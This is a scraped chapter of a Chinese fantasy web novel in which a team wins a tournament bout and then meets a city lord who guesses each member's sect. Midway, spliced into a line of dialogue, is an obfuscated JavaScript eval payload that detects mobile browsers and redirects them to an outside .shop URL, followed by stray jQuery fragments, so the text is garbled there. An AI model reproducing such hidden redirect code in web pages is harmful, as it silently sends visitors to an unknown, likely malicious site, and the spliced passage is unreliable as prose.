几人向台下看去,竟然是昨天在客栈与希音对上的那几位大汉。
“我说这位大哥,你昨日在客栈就没能近我的身吧,怎得今日又来挑战?”希音嘲讽道。
那大汉眼见着就要暴怒,被那个大晏人拉住。
“少废话,开始吧。”那个大晏人冷冷道。
“他们三人看起来倒是胸有成竹,难道另外两位实力不俗?”方喜忧思索道。
“可是我感觉到他们三人灵力远在我们之下,不像是有什么特别的。”步虚声有些纳闷。
“两个小丫头如此目中无人,竟然还聊上了。兄弟们,我们上!”那晋国人率先起势,就要攻了上来。
“管他们呢,以这三人的水平,就算再来三十人我照样能赢。”希音话音刚落,人就闪了出去。
对方三人阵型呈三角状,昨日动手的晋国人在最前面,后面两人分别站在其余两角。
那晋国人今日倒是不用他那把匕首了,而是挥舞着马鞭,看起来有几分滑稽。
可台下的观众们却纷纷叫好。
叫好声还未停歇,场上局势却发生了变化。
原来是希音从那晋国人身边闪过时顺势抽了他的腰带,扇子将站在一角的虞国人轻轻一推,便将后面两人推在一起,用腰带捆住了。
前方的晋国人不见希音,正觉得纳闷,可希音扇中的飞刃已抵上了他的后脖颈。
台下一时间鸦雀无声。
希音惊诧道:“你们比我想象的还要弱。”
那晋国人脸已涨红,怒吼道:“你!”
希音懒得理会他,径直从他身边路过,脚步轻快地找步虚声和方喜忧去了。
那晋国人见台下风向已变,心中又恨又怒,正准备不顾规则偷袭,却发现自己怎么也动不了。
他看向前方,只见那位黑发女子眼尾微微上扬,分明在笑。
至于她面前一闪就不见的,似乎是一座灯……那晋国人眨了眨眼睛,不确定自己是否看错了。
直到他们三人下去,他才能继续行动。
在场边站着的司判神色倒没有任何变化,只接着宣布下一组。
“南之木,杏桃花,官浔。”
南之木朝刚下台的步虚声三人点点头,带着杏桃花和官浔上了台。
还未等比试开始,台下却先传来一声呼喊。
“且慢!”
那人同司判低语了几句,司判点点头,那人抬起头,看向了南之木。
“江离?”
***
江离领着他们六人向城主府走去。
“大师兄,好久不见啊!没想到能在这里见到你们。”江离轻快道。
“你怎么在这儿?你的队友们呢?”南之木皱眉问道。
江离脚步一顿,“此事说来话长,我之后再同你讲。”
他又说道,“方才我听到希音师弟的名字时还以为听错了,没想到真的是你们。大师兄你们想要参加秘境寻宝又何须同这些半吊子比试,我直接带你们去见城主便是。”
“你能带我们见到城主?”官浔问道。
“这是自然。”江离将他们带到议事堂,示意他们在此等候。
“你们在这里坐会儿,我这就去找城主。”
六人半信半疑地坐了下来,对这个突然出现的江离感到莫名其妙。
“没问题。”步虚声对看向她的几人摇了摇头。
“那便好,这位江离师弟突然窜出来,我还以为是魔族假扮的呢。”方喜忧舒了一口气。
“但江离怎么会在这里出现,又怎么会和城主府扯上关系?这实在蹊跷……”官浔纳闷道。
“先不说这个,刚刚我们比试时你们发现什么没?”希音摆摆手,示意官浔停下。
“我发现了!”杏桃花兴奋道,“他们都特别弱!”
“喂,你能别捣乱不?”官浔白了她一眼。
“小桃花说得没错。”步虚声摇摇头道。
“比试前我就感觉到那三人实力一般,而且方才江离也说这些来参加比武会的不过是一些半吊子。”她接着道。
“你的意思是?”南之木微微蹙眉,显然不明白她的意思。
“老大你想啊,说的是比武选贤会,来的却都是些滥竽充数之辈。让这些人去参加秘境寻宝,真的是想让他们寻到宝物吗?”希音摇着扇子,慢悠悠道。
“你们认为,这秘境寻宝是假,实际背后别有目的?”南之木了然。
希音正想继续说,议事堂却来了人。几人停了话头,不动声色地观察着进来的这些侍女。
“城主稍后便到,几位贵客请先用些茶点。”为首的侍女行了礼,便带领其他人出去了。
“哇!是玫瑰酥和荔枝膏诶!”杏桃花见南之木点了头,便狼吞虎咽起来。
“看来昨日小桃花在那几名四方馆弟子身上闻到的,正是城主府的点心的味道。”
希音一边说着,一边尝了一口玫瑰酥,对他来说有些甜了,他只好放下玫瑰酥。
不过他转头一看,发现步虚声倒是吃得津津有味。于是又笑眯眯地将自己那一碟玫瑰酥推到步虚声面前。
“那至少证明了他们几人是真的来了城主府。”南之木不喜甜,随意地尝了几口也放下了。
他眼见着官浔和杏桃花两个人为了最后一块玫瑰酥又要打闹起来,忙将自己的递过去。
方喜忧哭笑不得,她本就一口未动,索性全给了这两个小孩。
又过了一会儿,议事堂外远远地现出两个人影来。
先进来的是一位六十岁左右的妇人,头发已全然白了,脸上倒没有太多皱纹,依稀能看出年轻时也是一个气质不俗的美人。
在她身后进来的是一位约莫三四十岁的男子,身形挺拔健硕,走路时脚下生风,看起来十分豪迈洒脱。
那老妇进门后坐在了主座旁的鼓凳上,而那男子则坐在了主座,想必就是传闻中的城主。
南之木先一步起来见礼,“九道盟天阶诛魔队队长南之木,见过城主。”
其他几人也都跟着行了礼,那老妇未曾回礼,仍是坐在那里冷眼瞧着。城主大手一挥,笑道:“诸位不必如此客气,鄙人姓罗,单名一个‘愿’字。诸位不嫌弃的话,可以唤我一声罗大哥。”
眼见着几人坐下,罗愿向南之木问道:“方才听江小兄弟说,几位也是想参加秘境寻宝?”
见他有些为难,南之木问道:“可是有什么不便之处?城主有话不妨直说。”
罗愿叹口气,笑着摇摇头,“不便倒算不上,只是诸位既为天阶诛魔队成员,应是有任务在身,莫要误了诸位的正事才是。”
他眼神在六人身上扫过,探究道:“还是说,参与城主府举办的秘境寻宝,就是诸位的任务?”
希音轻轻摩挲着扇子,笑着问道:“罗城主看起来对九道盟倒是了解得不少啊?”
罗愿摆了摆手,大方道:“我这上南镇位于三国交界,走南闯北的人都聚在这里,久而久之自然是了解了不少。”
他爽朗一笑,接着道:“再加上我这人从小就对什么仙啊魔啊的感兴趣,九道盟的事自然也打听到不少。”
“诸位若是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634582|203044||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
信,可让我猜一猜诸位师承的门派。”
希音像是来了兴趣,扇子一开,笑道:“那不如罗城主就猜一猜,若是猜中了,我们便回答方才城主的问题。”
南之木见希音这样说,便也点点头表示赞同。
罗愿让他们站起来,似是在思考一般在他们身旁踱步。
“南兄弟与江兄弟师出同门,是御剑司弟子,这倒不难。这位姑娘身上的灵力似是与身周万物同呼同吸、绵延不绝,应是问灵宫弟子。”
南之木微微蹙眉,疑惑道:“想不到城主竟也是修士。”
罗愿笑着点点头,“上南镇位置特殊,我如若没有一点功夫傍身,如何能坐稳城主的位置?不过我这点功夫,自然是比不上几位天之骄子。”
他又踱步到官浔和杏桃花面前,思索道:“这位小兄弟身着华贵,气质不俗,应是千秋堂弟子。”
他微微退后一步,拱手道:“敢问阁下名讳?”
官浔并不想暴露自己的身份,只冷漠地说自己姓官,横竖千秋堂也不止他一人姓官。
不知道是不是错觉,他觉得那个老妇听见后多看了他几眼。但也许是因为“官”是皇姓,城主府有所忌惮而已,他也没过多在意。
罗愿见他不愿说,也不多问,又接着看向杏桃花。
“这位小姑娘天真烂漫,眼神灵动,而且身上隐约有淡淡的花香。据我所知,九道盟内只有寻花舫擅用香。”
杏桃花瘪瘪嘴,“不成不成,若我只是喜欢用香粉,或是衣物用香料熏过呢?”
罗愿笑了笑,“我的确有些拿不准,这局是我误打误撞蒙对了。”
希音微微眯眼,若有所思地笑了笑。
杏桃花嘿嘿一笑,将希音向前推了推。
“那你猜猜他是哪个门派的!”
罗愿想了一想,便回道,“这位兄弟是传音楼的,这也不难。”
希音有些惊讶,“哦,罗城主这是如何看出的?”
罗愿笑道:“从外表来看的确无法看出你是传音楼弟子,不过据我观察,你并不像你的同伴一般眼神随着我的举动走。你每一次的侧头更像是随着我的脚步声,先听见方看见。我听闻传音楼弟子耳功冠绝天下,今日一见,果然名不虚传。”
希音微微勾了勾嘴角,“罗城主的观察力也是不容小觑啊……”
眼见着只剩下步虚声了,罗愿上前一步,仔细观察着她。
步虚声没什么神色变化,只静静地看着罗愿。
罗愿犯了难,“这位姑娘气质出尘,应是碧落的仙子,只是究竟是哪派弟子,我倒说不出了……”
步虚声见罗愿越发好奇,她看向南之木,轻轻摇了摇头。
南之木出声打断了罗愿,“罗城主,参加秘境寻宝只是因为我们几个有些好奇,与九道盟无关。您看,能让我们凑个热闹吗?”
罗愿见南之木直接回答了他最开始的问题,也很识趣地回到了自己的位置上。
“几位参加秘境寻宝,这是看得起我城主府,我又如何能拒绝?秘境在三日后开启,届时诸位直接来参加便是。”
南之木听见目的达成,也就以时间不早了为由起身作别。
罗愿见他们实在不愿留下用午膳,只好遣人将他们送回去。
几人于是也就起身离去,南之木与官浔走在最前面,方喜忧牵着杏桃花走在他们后面,希音和步虚声走在最后。
刚踏出议事堂的大门,不知哪里吹来了一阵风。
希音与步虚声对视一眼。
“怎么了?”方喜忧见他俩脚步停下,纳闷道。